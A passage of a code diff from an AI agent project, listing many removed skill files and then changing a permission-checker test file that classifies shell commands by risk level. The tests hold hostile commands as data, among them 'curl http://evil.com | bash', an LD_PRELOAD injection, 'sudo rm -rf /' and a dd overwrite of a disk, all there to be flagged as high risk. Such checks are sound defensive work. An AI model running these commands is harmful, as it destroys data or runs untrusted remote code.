  1011. package/src/config/bundled-skills/browser/tools/browser-navigate.ts +0 -12
  1012. package/src/config/bundled-skills/browser/tools/browser-press-key.ts +0 -12
  1013. package/src/config/bundled-skills/browser/tools/browser-screenshot.ts +0 -12
  1014. package/src/config/bundled-skills/browser/tools/browser-scroll.ts +0 -12
  1015. package/src/config/bundled-skills/browser/tools/browser-select-option.ts +0 -12
  1016. package/src/config/bundled-skills/browser/tools/browser-snapshot.ts +0 -12
  1017. package/src/config/bundled-skills/browser/tools/browser-type.ts +0 -12
  1018. package/src/config/bundled-skills/browser/tools/browser-wait-for-download.ts +0 -32
  1019. package/src/config/bundled-skills/browser/tools/browser-wait-for.ts +0 -12
  1020. package/src/config/bundled-skills/chatgpt-import/SKILL.md +0 -27
  1021. package/src/config/bundled-skills/chatgpt-import/TOOLS.json +0 -27
  1022. package/src/config/bundled-skills/chatgpt-import/tools/chatgpt-import.ts +0 -378
  1023. package/src/config/bundled-skills/gmail/SKILL.md +0 -175
  1024. package/src/config/bundled-skills/gmail/TOOLS.json +0 -558
  1025. package/src/config/bundled-skills/gmail/tools/gmail-archive.ts +0 -149
  1026. package/src/config/bundled-skills/gmail/tools/gmail-attachments.ts +0 -112
  1027. package/src/config/bundled-skills/gmail/tools/gmail-draft.ts +0 -44
  1028. package/src/config/bundled-skills/gmail/tools/gmail-filters.ts +0 -81
  1029. package/src/config/bundled-skills/gmail/tools/gmail-follow-up.ts +0 -108
  1030. package/src/config/bundled-skills/gmail/tools/gmail-forward.ts +0 -146
  1031. package/src/config/bundled-skills/gmail/tools/gmail-label.ts +0 -53
  1032. package/src/config/bundled-skills/gmail/tools/gmail-outreach-scan.ts +0 -220
  1033. package/src/config/bundled-skills/gmail/tools/gmail-send-draft.ts +0 -26
  1034. package/src/config/bundled-skills/gmail/tools/gmail-sender-digest.ts +0 -251
  1035. package/src/config/bundled-skills/gmail/tools/gmail-trash.ts +0 -29
  1036. package/src/config/bundled-skills/gmail/tools/gmail-unsubscribe.ts +0 -122
  1037. package/src/config/bundled-skills/gmail/tools/gmail-vacation.ts +0 -67
  1038. package/src/config/bundled-skills/gmail/tools/scan-result-store.ts +0 -100
  1039. package/src/config/bundled-skills/gmail/tools/shared.ts +0 -47
  1040. package/src/config/bundled-skills/google-calendar/SKILL.md +0 -51
  1041. package/src/config/bundled-skills/google-calendar/TOOLS.json +0 -226
  1042. package/src/config/bundled-skills/google-calendar/calendar-client.ts +0 -223
  1043. package/src/config/bundled-skills/google-calendar/tools/calendar-check-availability.ts +0 -27
  1044. package/src/config/bundled-skills/google-calendar/tools/calendar-create-event.ts +0 -48
  1045. package/src/config/bundled-skills/google-calendar/tools/calendar-get-event.ts +0 -19
  1046. package/src/config/bundled-skills/google-calendar/tools/calendar-list-events.ts +0 -36
  1047. package/src/config/bundled-skills/google-calendar/tools/calendar-rsvp.ts +0 -58
  1048. package/src/config/bundled-skills/google-calendar/tools/shared.ts +0 -17
  1049. package/src/config/bundled-skills/google-calendar/types.ts +0 -97
  1050. package/src/config/bundled-skills/outlook/SKILL.md +0 -196
  1051. package/src/config/bundled-skills/outlook/TOOLS.json +0 -530
  1052. package/src/config/bundled-skills/outlook/tools/outlook-attachments.ts +0 -85
  1053. package/src/config/bundled-skills/outlook/tools/outlook-categories.ts +0 -77
  1054. package/src/config/bundled-skills/outlook/tools/outlook-draft.ts +0 -84
  1055. package/src/config/bundled-skills/outlook/tools/outlook-follow-up.ts +0 -94
  1056. package/src/config/bundled-skills/outlook/tools/outlook-forward.ts +0 -49
  1057. package/src/config/bundled-skills/outlook/tools/outlook-outreach-scan.ts +0 -237
  1058. package/src/config/bundled-skills/outlook/tools/outlook-rules.ts +0 -161
  1059. package/src/config/bundled-skills/outlook/tools/outlook-send-draft.ts +0 -32
  1060. package/src/config/bundled-skills/outlook/tools/outlook-sender-digest.ts +0 -272
  1061. package/src/config/bundled-skills/outlook/tools/outlook-trash.ts +0 -29
  1062. package/src/config/bundled-skills/outlook/tools/outlook-unsubscribe.ts +0 -129
  1063. package/src/config/bundled-skills/outlook/tools/outlook-vacation.ts +0 -87
  1064. package/src/config/bundled-skills/outlook/tools/shared.ts +0 -20
  1065. package/src/config/bundled-skills/outlook-calendar/SKILL.md +0 -51
  1066. package/src/config/bundled-skills/outlook-calendar/TOOLS.json +0 -221
  1067. package/src/config/bundled-skills/outlook-calendar/calendar-client.ts +0 -252
  1068. package/src/config/bundled-skills/outlook-calendar/tools/outlook-calendar-check-availability.ts +0 -53
  1069. package/src/config/bundled-skills/outlook-calendar/tools/outlook-calendar-create-event.ts +0 -74
  1070. package/src/config/bundled-skills/outlook-calendar/tools/outlook-calendar-get-event.ts +0 -18
  1071. package/src/config/bundled-skills/outlook-calendar/tools/outlook-calendar-list-events.ts +0 -46
  1072. package/src/config/bundled-skills/outlook-calendar/tools/outlook-calendar-rsvp.ts +0 -36
  1073. package/src/config/bundled-skills/outlook-calendar/tools/shared.ts +0 -17
  1074. package/src/config/bundled-skills/outlook-calendar/types.ts +0 -120
  1075. package/src/config/bundled-skills/slack/SKILL.md +0 -107
  1076. package/src/config/bundled-skills/tasks/SKILL.md +0 -37
  1077. package/src/config/bundled-skills/tasks/TOOLS.json +0 -353
  1078. package/src/config/bundled-skills/tasks/icon.svg +0 -34
  1079. package/src/config/bundled-skills/tasks/tools/task-delete.ts +0 -12
  1080. package/src/config/bundled-skills/tasks/tools/task-list-add.ts +0 -12
  1081. package/src/config/bundled-skills/tasks/tools/task-list-remove.ts +0 -12
  1082. package/src/config/bundled-skills/tasks/tools/task-list-show.ts +0 -12
  1083. package/src/config/bundled-skills/tasks/tools/task-list-update.ts +0 -12
  1084. package/src/config/bundled-skills/tasks/tools/task-list.ts +0 -12
  1085. package/src/config/bundled-skills/tasks/tools/task-queue-run.ts +0 -12
  1086. package/src/config/bundled-skills/tasks/tools/task-run.ts +0 -12
  1087. package/src/config/bundled-skills/tasks/tools/task-save.ts +0 -12
  1088. package/src/config/bundled-skills/watcher/SKILL.md +0 -31
  1089. package/src/config/bundled-skills/watcher/TOOLS.json +0 -167
  1090. package/src/config/bundled-skills/watcher/tools/watcher-create.ts +0 -12
  1091. package/src/config/bundled-skills/watcher/tools/watcher-delete.ts +0 -12
  1092. package/src/config/bundled-skills/watcher/tools/watcher-digest.ts +0 -12
  1093. package/src/config/bundled-skills/watcher/tools/watcher-list.ts +0 -12
  1094. package/src/config/bundled-skills/watcher/tools/watcher-update.ts +0 -12
  1095. package/src/email/guardrails.ts +0 -221
  1096. package/src/email/provider.ts +0 -117
  1097. package/src/email/providers/agentmail.ts +0 -361
  1098. package/src/email/providers/index.ts +0 -65
  1099. package/src/email/service.ts +0 -384
  1100. package/src/email/types.ts +0 -126
  1101. package/src/prompts/templates/UPDATES.md +0 -38
  1102. package/src/prompts/templates/USER.md +0 -13
  1103. package/src/prompts/update-bulletin-format.ts +0 -68
  1104. package/src/prompts/update-bulletin-state.ts +0 -58
  1105. package/src/prompts/update-bulletin-template-path.ts +0 -13
  1106. package/src/prompts/update-bulletin.ts +0 -128
  1107. package/src/providers/speech-to-text/types.ts +0 -17
  1108. package/src/runtime/routes/browser-cdp-routes.ts +0 -229
  1109. package/src/shared/provider-env-vars.ts +0 -19
  1110. package/src/tools/watcher/create.ts +0 -86
  1111. package/src/tools/watcher/delete.ts +0 -36
  1112. package/src/tools/watcher/digest.ts +0 -54
  1113. package/src/tools/watcher/list.ts +0 -83
  1114. package/src/tools/watcher/update.ts +0 -71
@@ -2,6 +2,7 @@
2
2
  // bun test src/__tests__/checker.test.ts src/__tests__/trust-store.test.ts src/__tests__/conversation-skill-tools.test.ts src/__tests__/skill-script-runner-host.test.ts
3
3
 
4
4
  import {
5
+ existsSync,
5
6
  mkdirSync,
6
7
  mkdtempSync,
7
8
  realpathSync,
@@ -12,12 +13,14 @@ import {
12
13
  import { homedir, tmpdir } from "node:os";
13
14
  import { join, resolve } from "node:path";
14
15
  import {
16
+ afterAll,
15
17
  afterEach,
16
18
  beforeAll,
17
19
  beforeEach,
18
20
  describe,
19
21
  expect,
20
22
  mock,
23
+ spyOn,
21
24
  test,
22
25
  } from "bun:test";
23
26
 
@@ -67,6 +70,26 @@ mock.module("../config/loader.js", () => ({
67
70
  setNestedValue: () => {},
68
71
  }));
69
72
 
73
+ // Mutable guardian persona path so tests can toggle whether
74
+ // getDefaultRuleTemplates emits the dynamic guardian-persona allow rules.
75
+ // Defaults to null so existing tests see no extra rules, matching the
76
+ // behaviour on a fresh install without a resolved guardian.
77
+ let mockGuardianPersonaPath: string | null = null;
78
+
79
+ // Spy on the namespace import rather than using `mock.module`. Bun's
80
+ // `mock.module` is a persistent process-wide override that would clobber
81
+ // every other export (e.g. `ensureGuardianPersonaFile`,
82
+ // `isGuardianPersonaCustomized`) and break unrelated test files
83
+ // (persona-resolver.test.ts) when run in the same bun test invocation.
84
+ // `spyOn` with `mockRestore()` in afterAll restores the original
85
+ // implementation so other test files see the real exports.
86
+ import * as personaResolver from "../prompts/persona-resolver.js";
87
+ const guardianPathSpy = spyOn(
88
+ personaResolver,
89
+ "resolveGuardianPersonaPath",
90
+ ).mockImplementation(() => mockGuardianPersonaPath);
91
+
92
+ import * as envRegistry from "../config/env-registry.js";
70
93
  import {
71
94
  check,
72
95
  classifyRisk,
@@ -75,6 +98,7 @@ import {
75
98
  SCOPE_AWARE_TOOLS,
76
99
  } from "../permissions/checker.js";
77
100
  import { getDefaultRuleTemplates } from "../permissions/defaults.js";
101
+ import * as trustStoreModule from "../permissions/trust-store.js";
78
102
  import {
79
103
  addRule,
80
104
  clearCache,
@@ -82,7 +106,7 @@ import {
82
106
  } from "../permissions/trust-store.js";
83
107
  import type { TrustRule } from "../permissions/types.js";
84
108
  import { RiskLevel } from "../permissions/types.js";
85
- import { getTool, registerTool } from "../tools/registry.js";
109
+ import { registerTool } from "../tools/registry.js";
86
110
  import type { Tool } from "../tools/types.js";
87
111
 
88
112
  // Register a mock skill-origin tool for testing default-ask policy.
@@ -140,6 +164,13 @@ function writeSkill(
140
164
  );
141
165
  }
142
166
 
167
+ // Restore the guardian persona spy at the end of this file's run so
168
+ // subsequent test files (e.g. persona-resolver.test.ts) see the real
169
+ // implementation when they import from the module namespace.
170
+ afterAll(() => {
171
+ guardianPathSpy.mockRestore();
172
+ });
173
+
143
174
  describe("Permission Checker", () => {
144
175
  beforeAll(async () => {
145
176
  // Warm up the shell parser (loads WASM)
@@ -152,6 +183,8 @@ describe("Permission Checker", () => {
152
183
  // Reset permissions mode to workspace (default) so existing tests are not affected
153
184
  testConfig.permissions = { mode: "workspace" };
154
185
  testConfig.skills = { load: { extraDirs: [] } };
186
+ // Reset guardian persona mock so each test opts in explicitly
187
+ mockGuardianPersonaPath = null;
155
188
  loggerWarnCalls.length = 0;
156
189
  try {
157
190
  rmSync(join(checkerTestDir, "protected", "trust.json"));
@@ -172,12 +205,12 @@ describe("Permission Checker", () => {
172
205
  describe("file_read", () => {
173
206
  test("file_read is low risk for regular files", async () => {
174
207
  const risk = await classifyRisk("file_read", { path: "/etc/passwd" });
175
- expect(risk).toBe(RiskLevel.Low);
208
+ expect(risk.level).toBe(RiskLevel.Low);
176
209
  });
177
210
 
178
211
  test("file_read with arbitrary non-key path is low risk", async () => {
179
212
  const risk = await classifyRisk("file_read", { path: "/tmp/safe.txt" });
180
- expect(risk).toBe(RiskLevel.Low);
213
+ expect(risk.level).toBe(RiskLevel.Low);
181
214
  });
182
215
 
183
216
  test("file_read of workspace signing key path is high risk", async () => {
@@ -187,7 +220,7 @@ describe("Permission Checker", () => {
187
220
  { path: "deprecated/actor-token-signing-key" },
188
221
  workspaceDir,
189
222
  );
190
- expect(risk).toBe(RiskLevel.High);
223
+ expect(risk.level).toBe(RiskLevel.High);
191
224
  });
192
225
 
193
226
  test("file_read of legacy protected signing key path is high risk", async () => {
@@ -199,7 +232,26 @@ describe("Permission Checker", () => {
199
232
  "actor-token-signing-key",
200
233
  ),
201
234
  });
202
- expect(risk).toBe(RiskLevel.High);
235
+ expect(risk.level).toBe(RiskLevel.High);
236
+ });
237
+
238
+ test("file_read of legacy signing key is high risk even when BASE_DATA_DIR relocates getProtectedDir()", async () => {
239
+ const savedBaseDataDir = process.env.BASE_DATA_DIR;
240
+ process.env.BASE_DATA_DIR = "/tmp/fake-instance-signing-key-test";
241
+ try {
242
+ const risk = await classifyRisk("file_read", {
243
+ path: join(
244
+ homedir(),
245
+ ".vellum",
246
+ "protected",
247
+ "actor-token-signing-key",
248
+ ),
249
+ });
250
+ expect(risk.level).toBe(RiskLevel.High);
251
+ } finally {
252
+ if (savedBaseDataDir === undefined) delete process.env.BASE_DATA_DIR;
253
+ else process.env.BASE_DATA_DIR = savedBaseDataDir;
254
+ }
203
255
  });
204
256
  });
205
257
 
@@ -209,12 +261,12 @@ describe("Permission Checker", () => {
209
261
  const risk = await classifyRisk("file_write", {
210
262
  path: "/tmp/file.txt",
211
263
  });
212
- expect(risk).toBe(RiskLevel.Low);
264
+ expect(risk.level).toBe(RiskLevel.Low);
213
265
  });
214
266
 
215
267
  test("file_write with any path is low risk", async () => {
216
268
  const risk = await classifyRisk("file_write", { path: "/etc/passwd" });
217
- expect(risk).toBe(RiskLevel.Low);
269
+ expect(risk.level).toBe(RiskLevel.Low);
218
270
  });
219
271
  });
220
272
 
@@ -223,7 +275,7 @@ describe("Permission Checker", () => {
223
275
  const risk = await classifyRisk("skill_load", {
224
276
  skill: "release-checklist",
225
277
  });
226
- expect(risk).toBe(RiskLevel.Low);
278
+ expect(risk.level).toBe(RiskLevel.Low);
227
279
  });
228
280
  });
229
281
 
@@ -232,7 +284,7 @@ describe("Permission Checker", () => {
232
284
  const risk = await classifyRisk("web_fetch", {
233
285
  url: "https://example.com",
234
286
  });
235
- expect(risk).toBe(RiskLevel.Low);
287
+ expect(risk.level).toBe(RiskLevel.Low);
236
288
  });
237
289
 
238
290
  test("web_fetch with allow_private_network is high risk", async () => {
@@ -240,7 +292,7 @@ describe("Permission Checker", () => {
240
292
  url: "http://localhost:3000",
241
293
  allow_private_network: true,
242
294
  });
243
- expect(risk).toBe(RiskLevel.High);
295
+ expect(risk.level).toBe(RiskLevel.High);
244
296
  });
245
297
  });
246
298
 
@@ -249,114 +301,129 @@ describe("Permission Checker", () => {
249
301
  const risk = await classifyRisk("network_request", {
250
302
  url: "https://api.example.com/v1/data",
251
303
  });
252
- expect(risk).toBe(RiskLevel.Medium);
304
+ expect(risk.level).toBe(RiskLevel.Medium);
253
305
  });
254
306
 
255
307
  test("network_request is medium risk even without url", async () => {
256
308
  const risk = await classifyRisk("network_request", {});
257
- expect(risk).toBe(RiskLevel.Medium);
309
+ expect(risk.level).toBe(RiskLevel.Medium);
258
310
  });
259
311
  });
260
312
 
261
313
  // shell commands - low risk
262
314
  describe("shell — low risk", () => {
263
315
  test("ls is low risk", async () => {
264
- expect(await classifyRisk("bash", { command: "ls" })).toBe(
316
+ expect((await classifyRisk("bash", { command: "ls" })).level).toBe(
265
317
  RiskLevel.Low,
266
318
  );
267
319
  });
268
320
 
269
321
  test("cat is low risk", async () => {
270
- expect(await classifyRisk("bash", { command: "cat file.txt" })).toBe(
271
- RiskLevel.Low,
272
- );
322
+ expect(
323
+ (await classifyRisk("bash", { command: "cat file.txt" })).level,
324
+ ).toBe(RiskLevel.Low);
273
325
  });
274
326
 
275
327
  test("grep is low risk", async () => {
276
328
  expect(
277
- await classifyRisk("bash", { command: "grep pattern file" }),
329
+ (await classifyRisk("bash", { command: "grep pattern file" })).level,
278
330
  ).toBe(RiskLevel.Low);
279
331
  });
280
332
 
281
333
  test("git status is low risk", async () => {
282
- expect(await classifyRisk("bash", { command: "git status" })).toBe(
283
- RiskLevel.Low,
284
- );
334
+ expect(
335
+ (await classifyRisk("bash", { command: "git status" })).level,
336
+ ).toBe(RiskLevel.Low);
285
337
  });
286
338
 
287
339
  test("git log is low risk", async () => {
288
340
  expect(
289
- await classifyRisk("bash", { command: "git log --oneline" }),
341
+ (await classifyRisk("bash", { command: "git log --oneline" })).level,
290
342
  ).toBe(RiskLevel.Low);
291
343
  });
292
344
 
293
345
  test("git diff is low risk", async () => {
294
- expect(await classifyRisk("bash", { command: "git diff" })).toBe(
295
- RiskLevel.Low,
296
- );
346
+ expect(
347
+ (await classifyRisk("bash", { command: "git diff" })).level,
348
+ ).toBe(RiskLevel.Low);
297
349
  });
298
350
 
299
351
  test("git --no-pager log is low risk (boolean global flag before subcommand)", async () => {
300
352
  expect(
301
- await classifyRisk("bash", { command: "git --no-pager log" }),
353
+ (await classifyRisk("bash", { command: "git --no-pager log" })).level,
302
354
  ).toBe(RiskLevel.Low);
303
355
  });
304
356
 
305
357
  test("git -C /some/path status is low risk (value-taking flag before subcommand)", async () => {
306
358
  expect(
307
- await classifyRisk("bash", {
308
- command: "git -C /some/path status",
309
- }),
359
+ (
360
+ await classifyRisk("bash", {
361
+ command: "git -C /some/path status",
362
+ })
363
+ ).level,
310
364
  ).toBe(RiskLevel.Low);
311
365
  });
312
366
 
313
367
  test("git -c core.editor=vim diff is low risk (value-taking -c flag before subcommand)", async () => {
314
368
  expect(
315
- await classifyRisk("bash", {
316
- command: "git -c core.editor=vim diff",
317
- }),
369
+ (
370
+ await classifyRisk("bash", {
371
+ command: "git -c core.editor=vim diff",
372
+ })
373
+ ).level,
318
374
  ).toBe(RiskLevel.Low);
319
375
  });
320
376
 
321
377
  test("echo is low risk", async () => {
322
- expect(await classifyRisk("bash", { command: "echo hello" })).toBe(
323
- RiskLevel.Low,
324
- );
378
+ expect(
379
+ (await classifyRisk("bash", { command: "echo hello" })).level,
380
+ ).toBe(RiskLevel.Low);
325
381
  });
326
382
 
327
383
  test("pwd is low risk", async () => {
328
- expect(await classifyRisk("bash", { command: "pwd" })).toBe(
384
+ expect((await classifyRisk("bash", { command: "pwd" })).level).toBe(
329
385
  RiskLevel.Low,
330
386
  );
331
387
  });
332
388
 
333
389
  test("node is low risk", async () => {
334
- expect(await classifyRisk("bash", { command: "node --version" })).toBe(
335
- RiskLevel.Low,
336
- );
390
+ expect(
391
+ (await classifyRisk("bash", { command: "node --version" })).level,
392
+ ).toBe(RiskLevel.Low);
337
393
  });
338
394
 
339
- test("bun is low risk", async () => {
340
- expect(await classifyRisk("bash", { command: "bun test" })).toBe(
341
- RiskLevel.Low,
342
- );
395
+ test("bun --version is medium risk (bun base risk)", async () => {
396
+ // bun is medium base risk in the registry since it can execute code
397
+ expect(
398
+ (await classifyRisk("bash", { command: "bun --version" })).level,
399
+ ).toBe(RiskLevel.Medium);
400
+ });
401
+
402
+ test("bun test is high risk (executes arbitrary scripts)", async () => {
403
+ expect(
404
+ (await classifyRisk("bash", { command: "bun test" })).level,
405
+ ).toBe(RiskLevel.High);
343
406
  });
344
407
 
345
408
  test("empty command is low risk", async () => {
346
- expect(await classifyRisk("bash", { command: "" })).toBe(RiskLevel.Low);
409
+ expect((await classifyRisk("bash", { command: "" })).level).toBe(
410
+ RiskLevel.Low,
411
+ );
347
412
  });
348
413
 
349
414
  test("whitespace command is low risk", async () => {
350
- expect(await classifyRisk("bash", { command: " " })).toBe(
415
+ expect((await classifyRisk("bash", { command: " " })).level).toBe(
351
416
  RiskLevel.Low,
352
417
  );
353
418
  });
354
419
 
355
420
  test("safe pipe is low risk", async () => {
356
421
  expect(
357
- await classifyRisk("bash", {
358
- command: "cat file | grep pattern | wc -l",
359
- }),
422
+ (
423
+ await classifyRisk("bash", {
424
+ command: "cat file | grep pattern | wc -l",
425
+ })
426
+ ).level,
360
427
  ).toBe(RiskLevel.Low);
361
428
  });
362
429
  });
@@ -365,88 +432,100 @@ describe("Permission Checker", () => {
365
432
  describe("shell — medium risk", () => {
366
433
  test("unknown program is medium risk", async () => {
367
434
  expect(
368
- await classifyRisk("bash", { command: "some_custom_tool" }),
435
+ (await classifyRisk("bash", { command: "some_custom_tool" })).level,
369
436
  ).toBe(RiskLevel.Medium);
370
437
  });
371
438
 
372
439
  test("rm (without -r) is high risk", async () => {
373
- expect(await classifyRisk("bash", { command: "rm file.txt" })).toBe(
374
- RiskLevel.High,
375
- );
440
+ expect(
441
+ (await classifyRisk("bash", { command: "rm file.txt" })).level,
442
+ ).toBe(RiskLevel.High);
376
443
  });
377
444
 
378
- test("chmod is medium risk", async () => {
445
+ test("chmod is high risk (permission changes)", async () => {
379
446
  expect(
380
- await classifyRisk("bash", { command: "chmod 644 file.txt" }),
381
- ).toBe(RiskLevel.Medium);
447
+ (await classifyRisk("bash", { command: "chmod 644 file.txt" })).level,
448
+ ).toBe(RiskLevel.High);
382
449
  });
383
450
 
384
- test("chown is medium risk", async () => {
451
+ test("chown is high risk (ownership changes)", async () => {
385
452
  expect(
386
- await classifyRisk("bash", { command: "chown user file.txt" }),
387
- ).toBe(RiskLevel.Medium);
453
+ (await classifyRisk("bash", { command: "chown user file.txt" }))
454
+ .level,
455
+ ).toBe(RiskLevel.High);
388
456
  });
389
457
 
390
- test("chgrp is medium risk", async () => {
458
+ test("chgrp is high risk (group changes)", async () => {
391
459
  expect(
392
- await classifyRisk("bash", { command: "chgrp group file.txt" }),
393
- ).toBe(RiskLevel.Medium);
460
+ (await classifyRisk("bash", { command: "chgrp group file.txt" }))
461
+ .level,
462
+ ).toBe(RiskLevel.High);
394
463
  });
395
464
 
396
465
  test("git push (non-read-only) is medium risk", async () => {
397
466
  expect(
398
- await classifyRisk("bash", { command: "git push origin main" }),
467
+ (await classifyRisk("bash", { command: "git push origin main" }))
468
+ .level,
399
469
  ).toBe(RiskLevel.Medium);
400
470
  });
401
471
 
402
472
  test("git commit is medium risk", async () => {
403
473
  expect(
404
- await classifyRisk("bash", { command: 'git commit -m "msg"' }),
474
+ (await classifyRisk("bash", { command: 'git commit -m "msg"' }))
475
+ .level,
405
476
  ).toBe(RiskLevel.Medium);
406
477
  });
407
478
 
408
479
  test("git -C status commit is medium risk (value-taking flag with dir named like a subcommand)", async () => {
409
480
  expect(
410
- await classifyRisk("bash", {
411
- command: "git -C status commit",
412
- }),
481
+ (
482
+ await classifyRisk("bash", {
483
+ command: "git -C status commit",
484
+ })
485
+ ).level,
413
486
  ).toBe(RiskLevel.Medium);
414
487
  });
415
488
 
416
489
  test("git -C /path push is medium risk (value-taking flag before mutating subcommand)", async () => {
417
490
  expect(
418
- await classifyRisk("bash", {
419
- command: "git -C /path push",
420
- }),
491
+ (
492
+ await classifyRisk("bash", {
493
+ command: "git -C /path push",
494
+ })
495
+ ).level,
421
496
  ).toBe(RiskLevel.Medium);
422
497
  });
423
498
 
424
499
  test("git --git-dir /path/to/.git push is medium risk", async () => {
425
500
  expect(
426
- await classifyRisk("bash", {
427
- command: "git --git-dir /path/to/.git push",
428
- }),
501
+ (
502
+ await classifyRisk("bash", {
503
+ command: "git --git-dir /path/to/.git push",
504
+ })
505
+ ).level,
429
506
  ).toBe(RiskLevel.Medium);
430
507
  });
431
508
 
432
509
  test("git --no-pager push is medium risk (boolean flag before mutating subcommand)", async () => {
433
510
  expect(
434
- await classifyRisk("bash", {
435
- command: "git --no-pager push",
436
- }),
511
+ (
512
+ await classifyRisk("bash", {
513
+ command: "git --no-pager push",
514
+ })
515
+ ).level,
437
516
  ).toBe(RiskLevel.Medium);
438
517
  });
439
518
 
440
- test("opaque construct (eval) is medium risk", async () => {
441
- expect(await classifyRisk("bash", { command: 'eval "ls"' })).toBe(
442
- RiskLevel.Medium,
443
- );
519
+ test("opaque construct (eval) is high risk (registry: executes arbitrary code)", async () => {
520
+ expect(
521
+ (await classifyRisk("bash", { command: 'eval "ls"' })).level,
522
+ ).toBe(RiskLevel.High);
444
523
  });
445
524
 
446
- test("opaque construct (bash -c) is medium risk", async () => {
525
+ test("opaque construct (bash -c) is high risk (registry: executes arbitrary code)", async () => {
447
526
  expect(
448
- await classifyRisk("bash", { command: 'bash -c "echo hi"' }),
449
- ).toBe(RiskLevel.Medium);
527
+ (await classifyRisk("bash", { command: 'bash -c "echo hi"' })).level,
528
+ ).toBe(RiskLevel.High);
450
529
  });
451
530
  });
452
531
 
@@ -454,183 +533,198 @@ describe("Permission Checker", () => {
454
533
  describe("shell — high risk", () => {
455
534
  test("assistant trust clear is high risk", async () => {
456
535
  expect(
457
- await classifyRisk("bash", { command: "assistant trust clear" }),
536
+ (await classifyRisk("bash", { command: "assistant trust clear" }))
537
+ .level,
458
538
  ).toBe(RiskLevel.High);
459
539
  });
460
540
 
461
541
  test("sudo is high risk", async () => {
462
- expect(await classifyRisk("bash", { command: "sudo rm -rf /" })).toBe(
463
- RiskLevel.High,
464
- );
542
+ expect(
543
+ (await classifyRisk("bash", { command: "sudo rm -rf /" })).level,
544
+ ).toBe(RiskLevel.High);
465
545
  });
466
546
 
467
547
  test("rm -rf is high risk", async () => {
468
548
  expect(
469
- await classifyRisk("bash", { command: "rm -rf /tmp/stuff" }),
549
+ (await classifyRisk("bash", { command: "rm -rf /tmp/stuff" })).level,
470
550
  ).toBe(RiskLevel.High);
471
551
  });
472
552
 
473
553
  test("rm -r is high risk", async () => {
474
- expect(await classifyRisk("bash", { command: "rm -r directory" })).toBe(
475
- RiskLevel.High,
476
- );
554
+ expect(
555
+ (await classifyRisk("bash", { command: "rm -r directory" })).level,
556
+ ).toBe(RiskLevel.High);
477
557
  });
478
558
 
479
559
  test("rm / is high risk", async () => {
480
- expect(await classifyRisk("bash", { command: "rm /" })).toBe(
560
+ expect((await classifyRisk("bash", { command: "rm /" })).level).toBe(
481
561
  RiskLevel.High,
482
562
  );
483
563
  });
484
564
 
485
565
  test("kill is high risk", async () => {
486
- expect(await classifyRisk("bash", { command: "kill -9 1234" })).toBe(
487
- RiskLevel.High,
488
- );
566
+ expect(
567
+ (await classifyRisk("bash", { command: "kill -9 1234" })).level,
568
+ ).toBe(RiskLevel.High);
489
569
  });
490
570
 
491
571
  test("pkill is high risk", async () => {
492
- expect(await classifyRisk("bash", { command: "pkill node" })).toBe(
493
- RiskLevel.High,
494
- );
572
+ expect(
573
+ (await classifyRisk("bash", { command: "pkill node" })).level,
574
+ ).toBe(RiskLevel.High);
495
575
  });
496
576
 
497
577
  test("reboot is high risk", async () => {
498
- expect(await classifyRisk("bash", { command: "reboot" })).toBe(
578
+ expect((await classifyRisk("bash", { command: "reboot" })).level).toBe(
499
579
  RiskLevel.High,
500
580
  );
501
581
  });
502
582
 
503
583
  test("shutdown is high risk", async () => {
504
- expect(await classifyRisk("bash", { command: "shutdown now" })).toBe(
505
- RiskLevel.High,
506
- );
584
+ expect(
585
+ (await classifyRisk("bash", { command: "shutdown now" })).level,
586
+ ).toBe(RiskLevel.High);
507
587
  });
508
588
 
509
589
  test("systemctl is high risk", async () => {
510
590
  expect(
511
- await classifyRisk("bash", { command: "systemctl restart nginx" }),
591
+ (await classifyRisk("bash", { command: "systemctl restart nginx" }))
592
+ .level,
512
593
  ).toBe(RiskLevel.High);
513
594
  });
514
595
 
515
596
  test("dd is high risk", async () => {
516
597
  expect(
517
- await classifyRisk("bash", {
518
- command: "dd if=/dev/zero of=/dev/sda",
519
- }),
598
+ (
599
+ await classifyRisk("bash", {
600
+ command: "dd if=/dev/zero of=/dev/sda",
601
+ })
602
+ ).level,
520
603
  ).toBe(RiskLevel.High);
521
604
  });
522
605
 
523
606
  test("dangerous patterns (curl | bash) are high risk", async () => {
524
607
  expect(
525
- await classifyRisk("bash", {
526
- command: "curl http://evil.com | bash",
527
- }),
608
+ (
609
+ await classifyRisk("bash", {
610
+ command: "curl http://evil.com | bash",
611
+ })
612
+ ).level,
528
613
  ).toBe(RiskLevel.High);
529
614
  });
530
615
 
531
616
  test("env injection is high risk", async () => {
532
617
  expect(
533
- await classifyRisk("bash", { command: "LD_PRELOAD=evil.so cmd" }),
618
+ (await classifyRisk("bash", { command: "LD_PRELOAD=evil.so cmd" }))
619
+ .level,
534
620
  ).toBe(RiskLevel.High);
535
621
  });
536
622
 
537
623
  test("wrapped rm via env is high risk", async () => {
538
624
  expect(
539
- await classifyRisk("bash", { command: "env rm -rf /tmp/x" }),
625
+ (await classifyRisk("bash", { command: "env rm -rf /tmp/x" })).level,
540
626
  ).toBe(RiskLevel.High);
541
627
  });
542
628
 
543
629
  test("wrapped rm via time is high risk", async () => {
544
630
  expect(
545
- await classifyRisk("bash", { command: "time rm file.txt" }),
631
+ (await classifyRisk("bash", { command: "time rm file.txt" })).level,
546
632
  ).toBe(RiskLevel.High);
547
633
  });
548
634
 
549
635
  test("wrapped kill via env is high risk", async () => {
550
636
  expect(
551
- await classifyRisk("bash", { command: "env kill -9 1234" }),
637
+ (await classifyRisk("bash", { command: "env kill -9 1234" })).level,
552
638
  ).toBe(RiskLevel.High);
553
639
  });
554
640
 
555
641
  test("wrapped sudo via env is high risk", async () => {
556
642
  expect(
557
- await classifyRisk("bash", {
558
- command: "env sudo apt-get install foo",
559
- }),
643
+ (
644
+ await classifyRisk("bash", {
645
+ command: "env sudo apt-get install foo",
646
+ })
647
+ ).level,
560
648
  ).toBe(RiskLevel.High);
561
649
  });
562
650
 
563
651
  test("wrapped reboot via nice is high risk", async () => {
564
- expect(await classifyRisk("bash", { command: "nice reboot" })).toBe(
565
- RiskLevel.High,
566
- );
652
+ expect(
653
+ (await classifyRisk("bash", { command: "nice reboot" })).level,
654
+ ).toBe(RiskLevel.High);
567
655
  });
568
656
 
569
657
  test("wrapped pkill via nohup is high risk", async () => {
570
658
  expect(
571
- await classifyRisk("bash", { command: "nohup pkill node" }),
659
+ (await classifyRisk("bash", { command: "nohup pkill node" })).level,
572
660
  ).toBe(RiskLevel.High);
573
661
  });
574
662
 
575
663
  test("command -v is low risk (read-only lookup)", async () => {
576
- expect(await classifyRisk("bash", { command: "command -v rm" })).toBe(
577
